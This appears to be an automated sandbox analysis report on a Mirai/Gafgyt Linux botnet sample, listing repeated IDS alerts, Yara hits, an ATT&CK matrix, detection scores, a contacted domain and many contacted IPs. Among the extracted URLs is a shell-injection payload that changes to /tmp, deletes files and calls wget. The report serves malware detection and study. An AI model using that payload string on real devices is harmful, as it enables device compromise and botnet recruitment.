              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
              Source: Yara matchFile source: spc.elf, type: SAMPLE
              Source: Yara matchFile source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: spc.elf PID: 6220, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: spc.elf PID: 6228, type: MEMORYSTR
              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
              Security Software Discovery
              Remote ServicesData from Local System1
              Encrypted Channel
              Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media11
              Non-Standard Port
              Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
              Non-Application Layer Protocol
              Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture4
              Application Layer Protocol
              Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsInternet Connection DiscoverySSHKeylogging1
              Ingress Tool Transfer
              Scheduled TransferData Encrypted for Impact
              No configs have been found
              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Number of created Files
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1567858 Sample: spc.elf Startdate: 03/12/2024 Architecture: LINUX Score: 100 20 scamanje.stresserit.pro 2->20 22 41.21.227.67 Vodacom-VBZA South Africa 2->22 24 99 other IPs or domains 2->24 26 Suricata IDS alerts for network traffic 2->26 28 Malicious sample detected (through community Yara rule) 2->28 30 Antivirus / Scanner detection for submitted sample 2->30 32 5 other signatures 2->32 8 spc.elf 2->8         started        signatures3 process4 process5 10 spc.elf 8->10         started        process6 12 spc.elf 10->12         started        14 spc.elf 10->14         started        16 spc.elf 10->16         started        18 spc.elf 10->18         started       

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand
              SourceDetectionScannerLabelLink
              spc.elf71%ReversingLabsLinux.Trojan.Mirai
              spc.elf100%AviraEXP/ELF.Gafgyt.T
              No Antivirus matches
              No Antivirus matches
              No Antivirus matches
              NameIPActiveMaliciousAntivirus DetectionReputation
              scamanje.stresserit.pro
              unknown
              unknowntrue
                unknown
                NameMaliciousAntivirus DetectionReputation
                http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+false
                  high
                  NameSourceMaliciousAntivirus DetectionReputation
                  http://schemas.xmlsoap.org/soap/encoding/spc.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope/spc.elffalse
                      high
                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs
                      IPDomainCountryFlagASNASN NameMalicious
                      197.195.235.251
                      unknownEgypt
                      36992ETISALAT-MISREGfalse
                      41.157.30.61
                      unknownSouth Africa
                      37168CELL-CZAfalse
                      5.105.175.104
                      unknownUkraine
                      43554CDS-ASUAfalse
                      206.192.60.212
                      unknownUnited States
                      3356LEVEL3USfalse
                      72.60.15.117
                      unknownUnited States
                      10507SPCSUSfalse
                      197.223.62.18
                      unknownEgypt
                      37069MOBINILEGfalse
                      165.108.84.139
                      unknownJapan4713OCNNTTCommunicationsCorporationJPfalse
                      197.167.208.206
                      unknownEgypt
                      24863LINKdotNET-ASEGfalse
                      163.166.179.243
                      unknownUnited Kingdom
                      15914BritishAirwaysGBfalse
                      217.184.55.155
                      unknownGermany
                      6805TDDE-ASN1DEfalse
                      156.222.129.74
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      156.146.251.170
                      unknownUnited States
                      1448UNITED-BROADBANDUSfalse
                      197.3.63.180
                      unknownTunisia
                      37705TOPNETTNfalse
                      219.8.229.7
                      unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
                      41.3.151.126
                      unknownSouth Africa
                      29975VODACOM-ZAfalse
                      156.223.192.114
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      197.2.168.171
                      unknownTunisia
                      37705TOPNETTNfalse
                      156.79.67.17
                      unknownUnited States
                      11363FUJITSU-USAUSfalse
                      156.154.241.68
                      unknownUnited States
                      19905NEUSTAR-AS6USfalse
                      41.179.6.190
                      unknownEgypt
                      24863LINKdotNET-ASEGfalse
                      88.189.183.45
                      unknownFrance
                      12322PROXADFRfalse
                      41.19.112.143
                      unknownSouth Africa
                      29975VODACOM-ZAfalse
                      41.82.95.112
                      unknownSenegal
                      8346SONATEL-ASAutonomousSystemEUfalse
                      171.206.133.214
                      unknownUnited States
                      10794BANKAMERICAUSfalse
                      156.252.201.200
                      unknownSeychelles
                      26484IKGUL-26484USfalse
                      220.145.104.36
                      unknownJapan2510INFOWEBFUJITSULIMITEDJPfalse
                      197.238.77.149
                      unknownunknown
                      37705TOPNETTNfalse
                      152.53.40.86
                      unknownUnited States
                      81NCRENUSfalse
                      96.14.32.67
                      unknownUnited States
                      22394CELLCOUSfalse
                      207.197.54.26
                      unknownUnited States
                      3851NSHE-NEVADANETUSfalse
                      172.1.116.48
                      unknownUnited States
                      7018ATT-INTERNET4USfalse
                      41.186.210.207
                      unknownRwanda
                      36890MTNRW-ASNRWfalse
                      95.124.153.90
                      unknownSpain
                      3352TELEFONICA_DE_ESPANAESfalse
                      62.175.151.47
                      unknownSpain
                      12357COMUNITELSPAINESfalse
                      105.164.155.233
                      unknownKenya
                      33771SAFARICOM-LIMITEDKEfalse
                      156.217.213.8
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      169.76.1.123
                      unknownUnited States
                      37611AfrihostZAfalse
                      58.51.252.66
                      unknownChina
                      4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                      188.13.148.205
                      unknownItaly
                      3269ASN-IBSNAZITfalse
                      174.188.44.1
                      unknownUnited States
                      7922COMCAST-7922USfalse
                      188.137.124.156
                      unknownPoland
                      13000LEON-ASPLfalse
                      197.211.66.54
                      unknownSouth Africa
                      29918IMPOL-ASNZAfalse
                      64.104.199.232
                      unknownUnited States
                      109CISCOSYSTEMSUSfalse
                      141.219.187.70
                      unknownUnited States
                      62618MICHIGANTECHUSfalse
                      41.76.254.8
                      unknownNigeria
                      37286NG-ICT-FORUMNGfalse
                      156.50.27.194
                      unknownAustralia
                      29975VODACOM-ZAfalse
                      101.82.178.101
                      unknownChina
                      4812CHINANET-SH-APChinaTelecomGroupCNfalse
                      122.121.71.212
                      unknownTaiwan; Republic of China (ROC)
                      3462HINETDataCommunicationBusinessGroupTWfalse
                      39.81.131.157
                      unknownChina
                      4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
                      90.43.90.92
                      unknownFrance
                      3215FranceTelecom-OrangeFRfalse
                      172.206.92.91
                      unknownUnited States
                      18747IFX18747USfalse
                      156.222.154.18
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      166.2.94.130
                      unknownUnited States
                      4152USDA-1USfalse
                      35.143.25.232
                      unknownUnited States
                      33363BHN-33363USfalse
                      156.43.173.180
                      unknownUnited Kingdom
                      4211ASN-MARICOPA1USfalse
                      41.42.118.12
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      75.208.169.174
                      unknownUnited States
                      22394CELLCOUSfalse
                      197.149.52.198
                      unknownMadagascar
                      37054Telecom-MalagasyMGfalse
                      41.102.102.210
                      unknownAlgeria
                      36947ALGTEL-ASDZfalse
                      47.22.179.81
                      unknownUnited States
                      6128CABLE-NET-1USfalse
                      62.177.27.5
                      unknownItaly
                      12874FASTWEBITfalse
                      79.63.217.120
                      unknownItaly
                      3269ASN-IBSNAZITfalse
                      41.102.150.117
                      unknownAlgeria
                      36947ALGTEL-ASDZfalse
                      156.208.176.36
                      unknownEgypt
                      8452TE-ASTE-ASEGfalse
                      117.40.116.65
                      unknownChina
                      4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                      197.109.134.76
                      unknownSouth Africa
                      37168CELL-CZAfalse
                      138.157.218.135
                      unknownUnited States
                      1540DNIC-ASBLK-01534-01546USfalse
                      51.126.93.124
                      unknownUnited Kingdom
                      8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                      41.21.227.67
                      unknownSouth Africa
                      36994Vodacom-VBZAfalse
                      70.45.145.6
                      unknownPuerto Rico
                      14638LCPRLUSfalse
                      197.4.54.34
                      unknownTunisia
                      5438ATI-TNfalse
                      197.159.177.21
                      unknownSao Tome and Principe
                      328191CST-NET-ASSTfalse
                      128.74.1.175
                      unknownRussian Federation
                      8402CORBINA-ASOJSCVimpelcomRUfalse
                      190.190.111.216
                      unknownArgentina
                      10481TelecomArgentinaSAARfalse
                      13.208.161.1
                      unknownUnited States
                      16509AMAZON-02USfalse
                      75.239.165.51
                      unknownUnited States
                      22394CELLCOUSfalse
                      205.81.48.191
                      unknownUnited States
                      647DNIC-ASBLK-00616-00665USfalse
                      87.66.17.138
                      unknownBelgium
                      5432PROXIMUS-ISP-ASBEfalse
                      156.15.146.166
                      unknownUnited States
                      137ASGARRConsortiumGARREUfalse
                      122.236.158.1
                      unknownChina
                      4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                      62.33.162.99
                      unknownRussian Federation
                      20485TRANSTELECOMMoscowRussiaRUfalse
                      89.27.181.86
                      unknownGermany
                      8881VERSATELDEfalse
                      19.102.249.8
                      unknownUnited States
                      3MIT-GATEWAYSUSfalse
                      197.211.91.31
                      unknownSouth Africa
                      29918IMPOL-ASNZAfalse
                      162.180.135.49
                      unknownUnited States
                      21928T-MOBILE-AS21928USfalse
                      221.125.163.29
                      unknownHong Kong
                      9304HUTCHISON-AS-APHGCGlobalCommunicationsLimitedHKfalse
                      41.71.194.205
                      unknownNigeria
                      37053RSAWEB-ASZAfalse
                      90.23.76.47
                      unknownFrance
                      3215FranceTelecom-OrangeFRfalse
                      85.152.244.239
                      unknownSpain
                      12946TELECABLESpainESfalse
                      177.252.31.187
                      unknownColombia
                      27831ColombiaMovilCOfalse
                      155.34.127.24
                      unknownUnited States
                      24324KORDIA-TRANSIT-AS-APKordiaLimitedNZfalse
                      94.58.153.78
                      unknownUnited Arab Emirates
                      5384EMIRATES-INTERNETEmiratesInternetAEfalse
                      151.167.123.115
                      unknownUnited States
                      385AFCONC-BLOCK1-ASUSfalse
                      167.228.141.243
                      unknownUnited States
                      2897GEORGIA-1USfalse
                      41.21.252.20
                      unknownSouth Africa
                      36994Vodacom-VBZAfalse
                      176.193.190.39
                      unknownRussian Federation
                      12714TI-ASMoscowRussiaRUfalse
                      41.114.147.178
                      unknownSouth Africa
                      16637MTNNS-ASZAfalse
                      194.168.74.18
                      unknownUnited Kingdom
                      5089NTLGBfalse
                      75.28.97.227
                      unknownUnited States
                      7018ATT-INTERNET4USfalse
                      53.86.6.48
                      unknownGermany
                      31399DAIMLER-ASITIGNGlobalNetworkDEfalse
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      41.157.30.61mpsl.elfGet hashmaliciousMiraiBrowse
                        skyljne.arm5.elfGet hashmaliciousMiraiBrowse
                          db0fa4b8db0333367e9bda3ab68b8042.arm.elfGet hashmaliciousMiraiBrowse
                            AiB2hMdov5.elfGet hashmaliciousMirai, MoobotBrowse
                              bok.mips-20230315-2115.elfGet hashmaliciousMiraiBrowse
                                kuNwOBFl7HGet hashmaliciousGafgyt, MiraiBrowse
                                  Tsunami.x86Get hashmaliciousMiraiBrowse
                                    197.223.62.18MeJonNJG8q.elfGet hashmaliciousMiraiBrowse
                                      mpsl-20230704-0803.elfGet hashmaliciousMirai, MoobotBrowse
                                        CxPvMBx5UjGet hashmaliciousMiraiBrowse
                                          yO5PTymk2ZGet hashmaliciousMiraiBrowse
                                            197.167.208.206ykBzPPyrVx.elfGet hashmaliciousMirai, MoobotBrowse
                                              DZdJX7u9Yh.elfGet hashmaliciousMirai, MoobotBrowse
                                                OjqGHcdOEm.elfGet hashmaliciousMiraiBrowse
                                                  rNhINZTaN0Get hashmaliciousMiraiBrowse
                                                    ZtYNQ1ZX9zGet hashmaliciousMiraiBrowse
                                                      163.166.179.243FBI.armGet hashmaliciousGafgyt MiraiBrowse
                                                        156.222.129.74BFAT7hL1iq.elfGet hashmaliciousMiraiBrowse
                                                          No context
                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                          CELL-CZAm68k.elfGet hashmaliciousMiraiBrowse
                                                          • 197.173.220.103
                                                          x86.elfGet hashmaliciousMiraiBrowse
                                                          • 41.157.30.27
                                                          nsharm.elfGet hashmaliciousMiraiBrowse
